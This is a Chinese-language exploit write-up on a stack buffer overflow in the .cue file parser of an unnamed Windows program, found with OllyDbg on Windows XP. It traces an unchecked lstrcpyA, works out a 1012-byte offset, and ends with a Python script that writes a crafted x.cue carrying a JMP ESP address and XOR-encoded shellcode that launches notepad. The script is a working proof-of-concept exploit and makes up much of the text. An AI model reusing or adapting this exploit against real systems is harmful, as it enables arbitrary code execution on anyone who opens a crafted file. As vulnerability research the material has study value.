测试平台:
Windows xp
测试工具:
OllyDBG
挖掘过程:
1、根据cue文件格式构造超长文件路径字符串进行测试,发现程序崩溃。
2、找出溢出点:
A、bp CreateFileA,跟踪打开的测试文件:
B、返回到用户代码,发现程序根据不同的扩展名跳到不同的处理函数:
C、来到cue文件的处理函数:
D、跟进此函数,发现程序开始按相关字段解析cue文件格式:(仅仅解析,未发现危险函数)
E、解析完成后,程序尝试调用自定义函数打开指定的文件,OD报错:
G、发现此函数会根据读取的文件的扩展名调用相关处理函数,检查完扩展名之后,发现调用了一系列自定义处理函数,在即将调用的call下断,F8步过,无错则取消断点
H、发现其中一个函数使得调试器出错,重新加载,跟进该函数,发现了lstrcpyA,果断分析这个函数,重要发现如下:
1、首先分配临时变量空间大小:0x4DC:
2、lstrcpyA的目标起始地址是:ebp-3f0:
3、之后,由于该文件路径不存在,导致fopen失败,程序直接跳到该函数末尾,此时:
漏洞利用分析:
填充变量需:0x3F0+4(EBP)=1012字节。
测试代码:(python)
# -*- coding: UTF-8 -*- #ShellCode:WinExec("notepad") import os from sys import exit shellcode=\ "\x83\xC4\x14\x33\xC9\x8A\x1C"\ "\x0C\x80\xF3\x11\x88\x1C\x0C\x41"\ "\x80\xF9\x87\x75\xF1\xED\x75\xB0"\ "\x21\x11\x11\x11\x9A\x51\x1D\x9A"\ "\x51\x0D\x9A\x11\x9A\x79\x19\x9A"\ "\x54\x2D\x9A\x45\x14\x69\x12\xC4"\ "\x9A\x5B\x09\x9A\x4B\x31\x12\xCC"\ "\x58\x9A\x25\x9A\x12\xE4\xA9\x56"\ "\x74\x65\x41\x28\x17\x64\xE0\xA9"\ "\x63\x7E\x72\x50\x28\x57\x15\x64"\ "\xF6\x9A\x4B\x35\x12\xCC\x77\x9A"\ "\x1D\x5A\x9A\x4B\x0D\x12\xCC\x9A"\ "\x15\x9A\x12\xD4\x9A\xC9\x79\x69"\ "\x74\x72\x11\x79\x46\x78\x7F\x54"\ "\x45\x44\xEE\xC2\x79\x61\x70\x75"\ "\x11\x79\x7F\x7E\x65\x74\x9A\xDD"\ "\x7B\x10\x40\xEE\xC1\x79\x74\x62"\ "\x62\x11\x79\x41\x63\x7E\x72\x79"\ "\x54\x69\x78\x65\x45\x44\xEE\xC2"\ "\x7B\x11\xEE\xC1" file=open('x.cue','wb+') file.write('FILE "') #Header file.write('\x41'*1012) #填充变量及EBP file.write('\x7B\x46\x86\x7C') #JMP ESP file.write(shellcode) file.write('.BIN" BINARY \r\n TRACK 01 MODE1/2352\r\n INDEX 01 00:00:00\r\n') #EndHeader file.close()